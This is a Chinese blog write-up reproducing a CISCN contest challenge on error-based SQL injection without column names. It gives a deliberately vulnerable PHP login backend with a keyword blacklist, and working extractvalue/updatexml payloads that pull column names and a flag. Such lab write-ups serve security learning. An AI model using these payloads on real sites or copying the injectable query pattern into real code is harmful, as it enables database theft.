wp篇 复现 【全国大学生信息安全初赛】报错+无列名SQL注入

一,什么是无列名注入

在这里插入图片描述

二,成品展示

通过playload成功注入。
这里就不把sqlmap测试的页面附上来了,大家复现后可以自己尝试。

请添加图片描述
请添加图片描述
请添加图片描述

三,环境与代码

环境

php5.6.40,apache2.4.3,mysql5.7.27

代码

本次复现为无源码复现,是作者根据赛题大致情况,编辑代码得出的。
最关键后台代码,test.php

 <html>
<head>
<title>登录验证</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head>
 
<body>
<?php
$conn=@mysqli_connect("localhost","root","密码就不贴了","security") 
or die("Unable to connect to MySQL"); 

 /*
$on=mysqli_select_db($conn,"security");
if($on)
  echo "您要选择的数据库存在";
else
  echo "您要选择的数据库不存在 ";
echo " , ";
*/
 
       $name=$_POST['username'];
 
       $pwd=$_POST['password'];
 
       $sql="select * from users where username=('$name') and password=('$pwd')";
 
       $query=mysqli_query($conn,$sql);
       
       if(preg_match("/union|imforation|schema|innodb|information/i",$name) or preg_match("/union|imforation|schema|innodb|information/i",$pwd))
       {
           echo 'no';
       }
       elseif ($query) {
       }
       else{
           echo mysqli_error($conn);
        }
       
?>
</body>
</html>

其次,前端login.php

 <html>
<head>
<title>
报错+无列名注入
</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<style type="text/css">
body
{ 
background:url(1.png) no-repeat; 
background-size:cover;
}
</style>
</head>
 
<body>
<form action="test.php" method="post">
  <fieldset >
    <legend><font color="#FFFFFF" size='10'>ERROR_LOGIN</font></legend>
    <table>
      <tr>
        <td><font color="#99FF00"size='6'>用户名:</font></td>
        <td><input type="text" name="username" size='50' style="height:50px;width:300px;font-size:20px"></td>
      </tr>
      <tr>
        <td><font color="#99FF00" size='6'>密  码:</font></td>
        <td><input type="text" name="password" size='50' style="height:50px;width:300px;font-size:20px"></td>
      </tr>
      <tr>
        <td><input type="submit" value="提交" style='font-size:20px'></td>
        <td><input type="reset" value="重置" style='font-size:20px'></td>
      </tr>
    </table>
  </fieldset>
</form>
</body>
</html>

至于图片的话大家自己配吧,我就不贴了。

四,playload

一,简单探索

利用sqlmap扫一下。
发现是报错注入
在这里插入图片描述

经过一波测试,发现union和information被禁了,这时用updatexml或extractvalue就可以。

二,playload

出列名:

1')+and+(extractvalue(1,concat(0x7e,(select+*+from+(select+*+from+flag+as+a+join+flag+as+b+using (id))+as+c),0x7e)))--+

出前flag:

1')||(updatexml(1,concat(0x7e,(select `numeric` from flag limit 0,1)),1))#

出后flag:

1')||(updatexml(1,concat(0x7e,(select right((`numeric`),30) from flag limit 0,1)),1))#

最终得到flag
CISCN{5dZZY-9bCuE-OEtFR-rE7TE-ydZZY-9bCuE-OEtFR-rE7TE-ywpu0-}
注:中间连接符使用||andor都可以

评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

这周末在做梦

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值